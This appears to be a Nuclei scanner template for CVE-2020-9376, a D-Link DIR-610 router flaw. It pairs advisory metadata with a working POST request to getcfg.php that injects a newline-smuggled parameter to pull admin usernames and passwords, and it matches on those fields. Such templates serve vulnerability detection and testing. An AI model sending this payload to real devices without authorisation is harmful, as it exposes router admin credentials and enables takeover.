id: CVE-2020-9376

info:
  name: D-Link DIR-610 Devices - Information Disclosure
  author: whynotke
  severity: high
  description: |
    D-Link DIR-610 devices allow information disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php.
    NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
  impact: |
    An attacker can gain sensitive information from the device, leading to potential unauthorized access or further attacks.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the vulnerability.
  reference:
    - https://gist.github.com/GouveaHeitor/dcbb67b301cc45adc00f8a6a2a0a590f
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182
    - https://www.dlink.com.br/produto/dir-610/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9376
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9376
    cwe-id: CWE-74
    epss-score: 0.16586
    epss-percentile: 0.96605
    cpe: cpe:2.3:o:dlink:dir-610_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-610_firmware
  tags: cve,cve2020,dlink,disclosure,router,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/getcfg.php"

    body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<name>Admin</name>"
          - "</usrid>"
          - "</password>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b90c3fef396e2401565b8301ae4aa2859ebdfd0febae7aba6cbe304bfea6e638022100d0e7f6d29012c7165d552837050acc21fecd393c5217ef8f1de58f83a10ae3db:922c64590222798bb761d5b6d8e72950